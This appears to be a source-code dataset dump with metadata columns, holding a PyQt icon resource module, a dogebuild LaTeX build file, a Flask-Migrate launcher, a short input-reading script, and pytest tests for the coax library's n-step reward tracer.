\x6b\x7e\x31\xba\x9e\x2b\x7d\xc2\x3d\xf5\xa6\xdf\xc7\x9b\x5e\xf5\
\x90\x29\x47\x43\x00\x92\xb3\x70\x47\x7f\x28\x79\x5e\x55\xbe\xad\
\xe0\xa9\xb5\x07\x8d\xc7\xef\x9a\x3c\xe0\x2a\xf4\xda\x9c\x86\xec\
\x09\xb6\x46\x1a\xc1\x96\xa7\x5c\x91\x53\xac\xc8\xc2\x96\x4c\x2b\
\xbe\x39\x23\xa1\xd1\x5b\x7f\xd4\x90\x42\x64\x8f\x51\x7f\xc3\x05\
\x60\xf8\x2c\xdd\xc6\xe3\xac\xfe\xca\xc8\x37\x0c\xfd\x6c\xcd\x0d\
\xc9\x87\x77\x37\xa5\xfd\xad\x7d\x29\x0c\xcd\xc4\x44\x26\x58\x1f\
\x6e\x21\xfc\xd6\x32\x86\x76\xb4\x53\xfd\xcc\xe1\x87\x56\x95\x16\
\xaa\x92\xcc\x83\xcf\xb5\x04\xd1\x73\x14\x1a\x57\xcc\x22\xb8\x5d\
\xb2\xa4\x3f\x29\xd4\xb3\x21\x60\x93\xa5\xb6\x97\xdf\x19\x1c\x51\
\xf3\xb3\xfc\x6e\x97\x8a\x70\x41\xa8\x27\x72\x18\xa7\xb4\x93\xb6\
\xc7\x3a\x81\x21\x3c\xc5\x97\xae\xdf\xd4\x57\x97\x48\x29\x21\xf4\
\x9c\x6e\x9a\xd6\xfe\x90\xe0\x76\xf9\x54\xe0\x67\xad\x80\xeb\xfb\
\x82\xf4\xd0\xd1\x6f\x1b\x89\xf4\x83\x28\xf6\x22\x9b\x2d\x15\xd3\
\xf4\xec\x22\x76\x96\x97\x59\xa9\x1a\x04\xe0\x8a\xde\xf3\xd9\xbb\
\xb8\x9f\x78\xab\x46\x66\x8b\xef\xb1\x1c\xf3\x95\x86\x4c\xe5\x9a\
\x45\xe4\x5c\x58\x0d\x54\x9d\x4a\x30\x8b\xd4\xff\x3d\x94\xff\xa5\
\xf3\x7f\x00\x75\x7c\xf4\xef\xf1\x59\xd1\x05\x00\x00\x00\x00\x49\
\x45\x4e\x44\xae\x42\x60\x82\
\x00\x00\x06\x9c\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x20\x00\x00\x00\x20\x08\x06\x00\x00\x00\x73\x7a\x7a\xf4\
\x00\x00\x00\x04\x67\x41\x4d\x41\x00\x00\xaf\xc8\x37\x05\x8a\xe9\
\x00\x00\x00\x19\x74\x45\x58\x74\x53\x6f\x66\x74\x77\x61\x72\x65\
\x00\x41\x64\x6f\x62\x65\x20\x49\x6d\x61\x67\x65\x52\x65\x61\x64\
\x79\x71\xc9\x65\x3c\x00\x00\x06\x2e\x49\x44\x41\x54\x78\xda\x62\
\xfc\xff\xff\x3f\xc3\x40\x02\x80\x00\x22\x1b\x9d\xf6\x61\x50\x3c\
\xe6\xc9\xa0\x04\x64\x32\x01\x31\x23\xb9\xe6\x00\x04\x10\x13\x39\
\x9a\x2e\xf8\x32\x34\xb2\x33\x31\xdc\xe3\x61\x65\xb8\x0b\x74\x44\
\x1b\x50\x88\x83\x5c\xb3\x00\x02\x88\x99\x1c\x9f\xb3\x32\x31\xac\
\x13\xd4\x65\x60\xe0\x14\x67\x60\xf8\xf7\x86\xc1\x86\x97\x95\x61\
\xeb\xd1\x57\x0c\x6f\x80\xd2\x7f\x49\x35\x0f\x20\x80\x48\x76\x35\
\x1b\x13\xc3\x7c\x66\xa0\x7f\x25\x5d\x20\x18\xc4\x0e\x90\x65\x98\
\x04\x94\xe2\x25\xc7\x43\x00\x01\xc4\x44\x62\xd0\x07\x02\x23\xdb\
\x1e\x66\x31\xcc\x21\xc0\xa8\x30\x99\x67\xcd\x10\x02\x54\xc2\x49\
\x6a\x7a\x00\x08\x20\x92\x1c\xc0\xc8\xc8\xd0\xcf\x01\x0c\x76\x41\
\x4b\x3d\x06\x06\xb3\xd3\x60\x0c\x62\x83\xc4\x74\x05\x19\x6a\x80\
\x4a\xf8\x80\x98\x95\x14\x33\x01\x02\x88\x89\x94\x84\x07\xf4\x9a\
\xbc\x94\x2b\x50\x8b\x42\x2d\x30\xc9\x89\x41\x30\x90\x0d\x12\x03\
\x26\x4a\xc9\x2d\xce\x0c\x55\x40\xa5\x5c\xa4\x98\x0b\x10\x40\xcc\
\xc4\x26\x3c\x16\x60\xdc\x0b\x01\x3d\x2b\xe2\x1d\xce\xc0\x20\x1e\
\x0f\x14\xfd\x0f\xc1\x6c\x52\x0c\x6c\x5c\xcf\x18\x7e\x3f\xbb\xca\
\xc0\xfa\x8e\x41\x83\x8b\x85\x61\xd7\xf1\xd7\x0c\xaf\x89\x4d\x90\
\x00\x01\x44\x94\x03\xb2\xd5\x19\x26\xb0\x72\x32\x98\xcb\x86\xf1\
\x32\x30\x6b\x4f\x64\x38\x7e\xea\x39\xc3\x96\x2d\xa7\x19\xce\x9c\
\xb9\xc3\xf0\xe7\xcf\x3f\x06\x59\x35\x2b\x06\x0e\xd6\xb5\x0c\x1f\
\x2f\xfc\x62\x97\x62\x63\x10\x5e\x74\x97\x61\x07\x50\xdb\x4f\xa8\
\x2b\xf1\x02\x80\x00\x22\xe8\x80\xf3\xbe\x0c\x8e\xcc\xc0\xb8\x17\
\xb3\x63\x62\xe0\x73\x2e\x65\x78\xf7\xc7\x94\x61\xef\xde\x0b\xc0\
\xf4\xc0\xc8\xc0\xc4\xc4\xc4\xf0\xf4\xe9\x1b\x06\x01\x61\x19\x06\
\x31\x39\x41\x86\xff\xef\x8f\x30\xfc\x7f\xc2\xa0\xa1\x25\xc0\x70\
\x69\xfb\x53\x86\x3b\x40\xed\x7f\x08\x99\x0f\x10\x40\x04\xe3\x8a\
\x09\x68\x39\x9b\x20\x03\x83\x98\x97\x0a\x03\x83\x50\x20\xc3\x8f\
\x1f\x5f\xc0\xe2\xa0\x22\xfc\xdf\xbf\x7f\x60\xf6\x87\x0f\x1f\xc0\
\x72\x62\x5e\xca\x0c\x20\xb5\x66\x22\x0c\xb5\xd0\x04\xc9\x42\xc8\
\x7c\x80\x00\x62\x22\x90\xf0\x12\x81\x09\x4f\x5f\xd2\x07\x48\x4a\
\xe4\x00\xf3\x1d\x1b\x03\x1b\xdb\x7f\xb0\xe5\x30\x07\x80\xb0\xb0\
\x30\x1b\x58\x8e\x41\x32\x83\x01\xa4\x96\x93\x99\x41\x7d\x99\x1d\
\x43\x02\x34\x5b\xe2\xb5\x03\x20\x80\x70\x4a\x5e\xf2\x63\x10\x00\
\xfa\xbe\x8f\x5b\x19\xe8\x15\x4b\x3b\x60\x66\x37\x06\x8a\xfe\x60\
\x10\x11\x61\x65\x60\x66\xfe\x0f\x8c\xfb\x3f\x70\x2c\x23\x03\x4a\
\xf8\xdf\xc0\x6a\xf8\xcc\x4d\x19\x40\x7a\xb4\xf8\x19\x2a\xfd\x64\
\x19\x64\x09\x65\x4b\x80\x00\xc2\xe9\x80\x7f\xff\x19\x1a\x80\x94\
\x80\x4c\x34\xd0\x70\xd1\x38\x60\x21\xf0\x1f\xec\x00\x10\x96\x97\
\xe7\x65\xf8\xf5\xeb\x17\x18\x0b\x08\xb0\x32\xb0\xb3\xff\x06\x8a\
\x7f\x07\xaa\x01\x26\x7c\xb1\x18\x06\x99\x28\x36\x50\xd4\xf1\x66\
\x69\x30\x54\x00\x25\xb8\xf1\xa5\x35\x80\x00\x62\xc2\x95\xed\x80\
\x06\xe4\x8b\xd8\x03\x73\x99\x82\x3b\x90\x00\x79\xe4\x2b\xc4\x12\
\x20\x96\x92\x62\x05\xa6\x85\x1f\x0c\x3f\x7f\xfe\x04\xb3\x21\x72\
\x20\xfc\x99\x81\x81\x5d\x92\x81\x4d\xde\x96\x01\xa4\x57\x8a\x93\
\x21\x26\x57\x83\x41\x07\x28\xc1\x8e\xab\x84\x04\x08\x20\x26\x9c\
\xe5\x3d\x30\xf6\xc4\xfc\x84\x19\x18\xf8\xdd\x90\x2c\x00\xe1\x2f\
\x0c\xb2\xb2\x4c\x0c\xdf\xbf\x7f\x67\xf8\xf6\xed\x1b\x83\x8a\x0a\
\x1b\xc4\x62\x86\x4f\x50\x0c\x64\x0b\xda\x33\x88\xf9\xf2\x30\x80\
\xcc\x88\x54\x64\xe8\x05\x0a\xf2\xe0\x0a\x05\x80\x00\x62\xc2\x59\
\xde\x87\x02\x75\x48\x38\x03\xd3\x31\x2f\xc2\x60\x30\xfe\xc2\x20\
\x28\xf8\x13\x88\xff\x33\x7c\xfd\xfa\x95\x41\x59\xf9\x3f\x92\x3c\
\x88\x7e\x0f\xd4\xc3\x09\xd4\x6b\xce\x00\x32\x83\x50\x3d\x01\x10\
\x40\x2c\x58\xcb\x7b\x59\x90\x27\x24\x80\xb1\x67\x02\x14\x79\x87\
\xc5\xad\xff\x80\x09\xef\x2f\xc3\xdf\xbf\xa0\x6c\xf8\x01\x5a\xe8\
\x81\x30\x28\x2d\xfc\x82\x64\x7f\x6e\x2d\x06\x41\xbb\xd3\x0c\x6f\
\xf6\x7f\x62\xd0\xfd\x07\xae\x27\x36\x42\x0b\xa7\x5f\xc8\xf6\x01\
\x04\x10\x33\x7a\x79\x0f\x8c\x7b\x7f\xb9\x0c\x60\x34\x28\x7a\x00\
\x7d\x22\x04\x8d\xf7\x1f\x50\xfc\x1d\x92\xda\x81\x6c\x45\x45\x46\
\x06\x6d\x6d\x16\x06\x6e\xee\x1f\xf0\xa8\x81\xd0\xdf\x20\x6c\x46\
\xa0\x5d\xcc\x4c\x0c\x1c\xc2\x8f\x19\x3e\x1f\x63\xe0\xf5\x96\x61\
\xe0\x58\x76\x9f\xe1\x30\xd4\x01\xf0\x12\x12\x20\x80\x98\x91\xb3\
\x1d\x30\x80\x56\x08\xd9\x80\xca\x7b\x39\x60\x95\x62\x00\x35\xec\
\x27\x3c\xf1\x41\xf8\xdf\xc1\x16\xb1\xb1\x7d\xc7\x62\x39\x32\x1b\
\x18\x25\x2c\xec\x0c\x6c\x02\x6f\x18\x7e\xbf\xfe\xc1\xc0\xfa\x9c\
\x41\xe3\xf1\x37\x86\x35\xb7\x3f\x31\x7c\x44\x2e\x21\x01\x02\x88\
\x09\x29\xdb\x4d\x60\xe1\x62\xe0\x17\x0b\x06\x46\x13\x97\x2a\x34\
\xe8\xdf\x42\x31\x32\xfb\x2d\xc3\xb6\x6d\x0f\x19\xdc\xdd\x2f\x32\
\x58\x58\x9c\x63\x98\x3d\xfb\x1e\x0e\xb5\x1f\x20\x98\x4b\x82\x41\
\x2c\x18\x58\x18\x70\x33\xf0\x16\x69\x31\x34\xa3\x67\x4b\x80\x00\
\x62\x46\x29\xef\xfd\x40\x85\x8e\x24\x50\xb5\x30\x5a\xd0\x7f\x43\
\xc2\x5f\x19\x92\x92\x5e\x30\xbc\x7d\xfb\x03\x5c\x0e\x1c\x3b\xf6\
\x91\x21\x20\xe0\x1f\x03\x1f\x1f\x42\x1e\x11\x5a\x40\xcc\xf4\x0f\
\x98\x1b\x7e\x31\xfc\x07\xaa\xfd\x7f\x9b\x41\x43\x47\x80\xe1\xe2\
\xb6\xa7\x0c\x77\x61\xa1\x00\x10\x40\x2c\xd0\xf2\xbe\x9e\x4d\x94\
\x81\x41\xd8\x07\x98\xa7\xd9\x40\x39\xe6\x0d\xd4\x6d\xd8\x72\xe9\
\x7f\x60\xf6\xfb\x02\xcc\x01\xff\x80\x89\xf0\x2f\xb8\x28\xfe\xff\
\xff\x2f\x34\x5a\xff\x82\x13\x28\x04\x23\xb1\xd9\x81\x55\xa4\x0f\
\x13\xc3\xfb\x43\xff\x18\x0c\x7e\x33\x14\x01\x05\xf7\x41\xd3\xc2\
\x6f\x80\x00\x62\x06\x95\xf7\xa0\x42\x47\x26\x17\x98\x4f\x94\x80\
\x96\x33\x33\x22\xf9\xfc\x07\x52\x48\x20\xd2\x80\xa0\xe0\x2f\x86\
\xcd\x9b\x7f\x81\x8b\xe1\xe0\xe0\xdf\x0c\xe1\xe1\x3f\xe1\x89\x13\
\x13\x03\xe5\x18\x7f\x31\x30\xb1\xfe\x67\x60\x13\xfb\xc7\xf0\xfd\
\x38\x83\x94\xbd\x38\xc3\xdb\x35\x0f\x19\x2e\x80\x1c\x00\x10\x40\
\x8c\x17\xfd\x18\x1e\xf0\xe8\x30\xc8\x2b\xb5\x80\x7c\xc7\x0f\x54\
\xcc\x02\xcd\xae\xc8\xf8\x3f\x94\xfe\x07\x0f\x05\x04\xfe\x87\xc6\
\x66\x80\xfa\xfe\x3f\x2a\xfe\x0f\x09\x91\x7b\xc0\x0c\xf9\xee\x12\
\xc3\x73\xd3\x2d\x0c\x66\x40\x81\x57\x00\x01\xc4\x02\x6a\x66\x31\
\x03\x93\xc5\xd7\xab\x40\x2b\x98\x60\xc1\xc6\x08\x2e\x10\xa0\x25\
\x03\x4a\xf0\x43\xeb\x62\x38\xfb\x3f\x3c\xc8\x91\xc5\xd1\x2d\x47\
\xa8\x07\xd9\x05\x6a\xbe\x41\x5b\xd1\x1f\x00\x02\x88\xe5\xc7\x5f\
\x86\x69\x0c\x27\x19\xb2\x3e\x9d\x04\x5a\xc5\x0c\x0c\x32\x26\x66\
\xb8\xe5\x8c\xc8\x0e\x41\xea\xc2\xfd\x47\x76\x08\x0c\x83\xd4\x21\
\x59\xc4\x00\xad\xb2\x51\x1a\x45\x50\xe6\xfd\x2f\x0c\xab\xa1\x09\
\x8c\x09\x20\x80\x40\xa6\x73\x94\xe9\x30\x18\x8a\xb0\x33\x68\xfe\
\xfa\xc7\xc0\x02\xcc\x8e\x64\x77\xb3\x88\x01\x57\x3f\x30\x3c\x5b\
\xf9\x80\xe1\x21\xa4\xcc\x66\x78\x0d\x10\x40\x8c\x50\x97\xb0\x43\
\xcb\x6a\x56\x4a\xfa\x79\x44\x82\xff\xd0\x32\x1b\x94\xaa\x7f\x02\
\x04\x10\x72\x44\x33\x92\xdb\xbf\x23\x03\xc0\x53\x2e\x40\x00\x31\
\x0e\x74\xf7\x1c\x20\xc0\x00\xde\xac\x06\xdf\xef\xf7\x54\x8b\x00\
\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\
"
qt_resource_name = "\
\x00\x06\
\x07\x03\x7d\xc3\
\x00\x69\
\x00\x6d\x00\x61\x00\x67\x00\x65\x00\x73\
\x00\x06\
\x07\x5e\x57\x47\
\x00\x6f\
\x00\x6b\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x06\xa7\x5a\xa7\
\x00\x68\
\x00\x6f\x00\x73\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x07\xff\x5a\xc7\
\x00\x66\
\x00\x61\x00\x69\x00\x6c\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x0e\xb6\x5a\xc7\
\x00\x65\
\x00\x78\x00\x65\x00\x63\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x02\x03\x58\x07\
\x00\x73\
\x00\x6b\x00\x69\x00\x70\x00\x2e\x00\x70\x00\x6e\x00\x67\
"
qt_resource_struct = "\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x02\
\x00\x00\x00\x66\x00\x00\x00\x00\x00\x01\x00\x00\x1c\x36\
\x00\x00\x00\x24\x00\x00\x00\x00\x00\x01\x00\x00\x05\x75\
\x00\x00\x00\x12\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x01\x00\x00\x0d\x7a\
\x00\x00\x00\x50\x00\x00\x00\x00\x00\x01\x00\x00\x13\x3a\
"
def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| 61.170927
| 96
| 0.726451
| 9,211
| 38,293
| 3.018131
| 0.032244
| 0.031511
| 0.023957
| 0.009928
| 0.07964
| 0.072626
| 0.071115
| 0.068741
| 0.064209
| 0.060863
| 0
| 0.330675
| 0.01781
| 38,293
| 625
| 97
| 61.2688
| 0.408471
| 0.004126
| 0
| 0.055556
| 0
| 0.929739
| 0
| 0
| 0
| 1
| 0.00021
| 0
| 0
| 1
| 0.003268
| false
| 0
| 0.001634
| 0
| 0.004902
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
68708b66fa64c84a1e0c04571eb56f4811b8db32
| 99
|
py
|
Python
|
integration_tests/simple_latex/dogefile.py
|
dogebuild/dogebuild-tex
|
20301086c8536cf30ea24beca19ad7f7da8d2647
|
[
"MIT"
] | null | null | null |
integration_tests/simple_latex/dogefile.py
|
dogebuild/dogebuild-tex
|
20301086c8536cf30ea24beca19ad7f7da8d2647
|
[
"MIT"
] | 1
|
2021-02-04T20:57:52.000Z
|
2021-02-04T20:57:52.000Z
|
integration_tests/simple_latex/dogefile.py
|
dogebuild/dogebuild-tex
|
20301086c8536cf30ea24beca19ad7f7da8d2647
|
[
"MIT"
] | null | null | null |
from dogebuild_tex import Tex, DockerTexBinary
Tex(tex_binary=DockerTexBinary("vipintm/xelatex"))
| 24.75
| 50
| 0.838384
| 12
| 99
| 6.75
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.070707
| 99
| 3
| 51
| 33
| 0.880435
| 0
| 0
| 0
| 0
| 0
| 0.151515
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
68823d4e7096f4349fb3daa3f04f528020c60479
| 378
|
py
|
Python
|
db_migrate_manager.py
|
masonsxu/red-flask
|
e8b978ee08072efcb2b3b7964065f272d8c875ab
|
[
"MIT"
] | 161
|
2018-10-23T07:06:46.000Z
|
2021-12-06T09:33:20.000Z
|
db_migrate_manager.py
|
masonsxu/red-flask
|
e8b978ee08072efcb2b3b7964065f272d8c875ab
|
[
"MIT"
] | null | null | null |
db_migrate_manager.py
|
masonsxu/red-flask
|
e8b978ee08072efcb2b3b7964065f272d8c875ab
|
[
"MIT"
] | 15
|
2019-05-02T07:17:21.000Z
|
2021-11-25T05:25:22.000Z
|
# -*- coding: utf-8 -*-
# @ Time : 2021/4/6 14:46
# @ Author : Redtree
# @ File : db_manager
# @ Desc : 单独将flask_migrate部分功能移出,不与flask_app本地IDE工具调试冲突。
from __init__ import manager
manager.run()
'''
在工程根目录下,运行
python db_migrate_manager.py db init
python db_migrate_manager.py db migrate
python db_migrate_manager.py db upgrade
python db_migrate_manager.py db --help
'''
| 21
| 58
| 0.732804
| 55
| 378
| 4.763636
| 0.545455
| 0.171756
| 0.229008
| 0.335878
| 0.396947
| 0.396947
| 0
| 0
| 0
| 0
| 0
| 0.034483
| 0.156085
| 378
| 18
| 59
| 21
| 0.786834
| 0.386243
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
68984cf72b936537d6a4ce4d47808f10497eb873
| 111
|
py
|
Python
|
COMB2018/COMB3.py
|
Chhekur/codechef-solutions
|
14ca902ea693139de13ffe5b9f602447bf34b79f
|
[
"MIT"
] | 1
|
2019-03-25T14:14:47.000Z
|
2019-03-25T14:14:47.000Z
|
COMB2018/COMB3.py
|
Chhekur/codechef-solutions
|
14ca902ea693139de13ffe5b9f602447bf34b79f
|
[
"MIT"
] | null | null | null |
COMB2018/COMB3.py
|
Chhekur/codechef-solutions
|
14ca902ea693139de13ffe5b9f602447bf34b79f
|
[
"MIT"
] | null | null | null |
for _ in range(int(input())):
n,k = [int(x) for x in input().split()]
a = [int(x) for x in input().split()]
| 27.75
| 40
| 0.558559
| 22
| 111
| 2.772727
| 0.454545
| 0.131148
| 0.229508
| 0.262295
| 0.655738
| 0.655738
| 0.655738
| 0
| 0
| 0
| 0
| 0
| 0.189189
| 111
| 4
| 41
| 27.75
| 0.677778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
689d7468fc5e1ae17313e1f55656572b69fb9929
| 11,395
|
py
|
Python
|
coax/reward_tracing/_nstep_test.py
|
coax-dev/coax
|
7553ab11b0f709e69d8d70d1d3b4326296b0b479
|
[
"MIT"
] | 81
|
2021-03-11T06:10:25.000Z
|
2022-03-18T18:00:10.000Z
|
coax/reward_tracing/_nstep_test.py
|
coax-dev/coax
|
7553ab11b0f709e69d8d70d1d3b4326296b0b479
|
[
"MIT"
] | 12
|
2021-05-27T12:21:54.000Z
|
2022-02-07T16:12:54.000Z
|
coax/reward_tracing/_nstep_test.py
|
coax-dev/coax
|
7553ab11b0f709e69d8d70d1d3b4326296b0b479
|
[
"MIT"
] | 2
|
2021-08-10T06:03:22.000Z
|
2022-03-14T06:05:33.000Z
|
from itertools import islice
import pytest
import gym
import jax
import jax.numpy as jnp
from numpy.testing import assert_array_almost_equal
from .._base.errors import InsufficientCacheError, EpisodeDoneError
from ..utils import check_array
from ._nstep import NStep
class MockEnv:
action_space = gym.spaces.Discrete(10)
class TestNStep:
env = MockEnv()
gamma = 0.85
n = 5
# rnd = jnp.random.RandomState(42)
# S = jnp.arange(13)
# A = rnd.randint(10, size=13)
# R = rnd.randn(13)
# D = jnp.zeros(13, dtype='bool')
# D[-1] = True
# In = (gamma ** n) * jnp.ones(13, dtype='bool')
# In[-n:] = 0
S = jnp.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])
A = jnp.array([6, 3, 7, 4, 6, 9, 2, 6, 7, 4, 3, 7, 7])
# P = jnp.array([
# [0, 0, 0, 0, 0, 0, 1, 0, 0, 0], # a=6
# [0, 0, 0, 1, 0, 0, 0, 0, 0, 0], # a=3
# [0, 0, 0, 0, 0, 0, 0, 1, 0, 0], # a=7
# [0, 0, 0, 0, 1, 0, 0, 0, 0, 0], # a=4
# [0, 0, 0, 0, 0, 0, 1, 0, 0, 0], # a=6
# [0, 0, 0, 0, 0, 0, 0, 0, 0, 1], # a=9
# [0, 0, 1, 0, 0, 0, 0, 0, 0, 0], # a=2
# [0, 0, 0, 0, 0, 0, 1, 0, 0, 0], # a=6
# [0, 0, 0, 0, 0, 0, 0, 1, 0, 0], # a=7
# [0, 0, 0, 0, 1, 0, 0, 0, 0, 0], # a=4
# [0, 0, 0, 1, 0, 0, 0, 0, 0, 0], # a=3
# [0, 0, 0, 0, 0, 0, 0, 1, 0, 0], # a=7
# [0, 0, 0, 0, 0, 0, 0, 1, 0, 0], # a=7
# ])
R = jnp.array(
[-0.48, 0.16, 0.23, 0.11, 1.46, 1.53, -2.43, 0.60, -0.25, -0.16, -1.47, 1.48, -0.02])
D = jnp.array([False] * 12 + [True])
In = jnp.array([0.44370531249999995] * 8 + [0.0] * 5)
episode = list(zip(S, A, R, D))
@property
def Rn(self):
Rn_ = jnp.zeros_like(self.R)
gammas = jnp.power(self.gamma, jnp.arange(13))
for i in range(len(Rn_)):
Rn_ = jax.ops.index_update(Rn_, i, self.R[i:(i + self.n)].dot(
gammas[:len(self.R[i:(i + self.n)])]))
return Rn_
def test_append_done_twice(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in enumerate(self.episode, 1):
if i == 1:
cache.add(s, a, r, True)
else:
with pytest.raises(EpisodeDoneError):
cache.add(s, a, r, True)
def test_append_done_one(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in enumerate(self.episode, 1):
if i == 1:
cache.add(s, a, r, True)
else:
break
assert cache
transitions = cache.flush()
assert_array_almost_equal(transitions.S, self.S[:1])
assert_array_almost_equal(transitions.A, self.A[:1])
assert_array_almost_equal(transitions.Rn, self.R[:1])
assert_array_almost_equal(transitions.In, [0])
def test_pop(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in enumerate(self.episode, 1):
cache.add(s, a, r, done)
assert len(cache) == i
if i <= self.n:
assert not cache
if i > self.n:
assert cache
i = 0
while cache:
transition = cache.pop()
check_array(transition.S, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.A, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.Rn, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.In, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.S_next, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.A_next, ndim=1, axis_size=1, axis=0, except_np=True)
assert_array_almost_equal(transition.S[0], self.S[i])
assert_array_almost_equal(transition.A[0], self.A[i])
assert_array_almost_equal(transition.Rn[0], self.Rn[i])
assert_array_almost_equal(transition.In[0], self.In[i])
if i < 13 - self.n:
assert_array_almost_equal(
transition.S_next[0], self.S[i + self.n])
assert_array_almost_equal(
transition.A_next[0], self.A[i + self.n])
i += 1
def test_pop_eager(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in enumerate(self.episode):
cache.add(s, a, r, done)
assert len(cache) == min(i + 1, self.n + 1)
if cache:
assert i + 1 > self.n
transition = cache.pop()
check_array(transition.S, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.A, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.Rn, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.In, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.S_next, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.A_next, ndim=1, axis_size=1, axis=0, except_np=True)
assert_array_almost_equal(transition.S[0], self.S[i - self.n])
assert_array_almost_equal(transition.A[0], self.A[i - self.n])
assert_array_almost_equal(
transition.Rn[0], self.Rn[i - self.n])
assert_array_almost_equal(
transition.In[0], self.In[i - self.n])
assert_array_almost_equal(transition.S_next[0], self.S[i])
assert_array_almost_equal(transition.A_next[0], self.A[i])
else:
assert i + 1 <= self.n
i = 13 - self.n
while cache:
transition = cache.pop()
check_array(transition.S, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.A, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.Rn, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.In, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.S_next, ndim=1, axis_size=1, axis=0, except_np=True)
check_array(transition.A_next, ndim=1, axis_size=1, axis=0, except_np=True)
assert_array_almost_equal(transition.S[0], self.S[i])
assert_array_almost_equal(transition.A[0], self.A[i])
assert_array_almost_equal(transition.Rn[0], self.Rn[i])
assert_array_almost_equal(transition.In[0], self.In[i])
if i < 13 - self.n:
assert_array_almost_equal(
transition.S_next[0], self.S[i + self.n])
assert_array_almost_equal(
transition.A_next[0], self.A[i + self.n])
i += 1
def test_flush(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in enumerate(self.episode, 1):
cache.add(s, a, r, done)
assert len(cache) == i
if i <= self.n:
assert not cache
if i > self.n:
assert cache
transitions = cache.flush()
assert_array_almost_equal(transitions.S, self.S)
assert_array_almost_equal(transitions.A, self.A)
assert_array_almost_equal(transitions.Rn, self.Rn)
assert_array_almost_equal(transitions.In, self.In)
assert_array_almost_equal(
transitions.S_next[:-self.n], self.S[self.n:])
assert_array_almost_equal(
transitions.A_next[:-self.n], self.A[self.n:])
def test_flush_eager(self):
cache = NStep(self.n, gamma=self.gamma)
for i, (s, a, r, done) in enumerate(self.episode):
cache.add(s, a, r, done)
assert len(cache) == min(i + 1, self.n + 1)
if cache:
assert i + 1 > self.n
transitions = cache.flush()
if i == 12:
slc = slice(i - self.n, None)
assert_array_almost_equal(transitions.S, self.S[slc])
assert_array_almost_equal(transitions.A, self.A[slc])
assert_array_almost_equal(transitions.Rn, self.Rn[slc])
assert_array_almost_equal(transitions.In, self.In[slc])
assert_array_almost_equal(
transitions.S_next.shape, (self.n + 1,))
assert_array_almost_equal(
transitions.A_next.shape, (self.n + 1,))
else:
slc = slice(i - self.n, i - self.n + 1)
slc_next = slice(i, i + 1)
assert_array_almost_equal(transitions.S, self.S[slc])
assert_array_almost_equal(transitions.A, self.A[slc])
assert_array_almost_equal(transitions.Rn, self.Rn[slc])
assert_array_almost_equal(transitions.In, self.In[slc])
assert_array_almost_equal(transitions.S_next, self.S[slc_next])
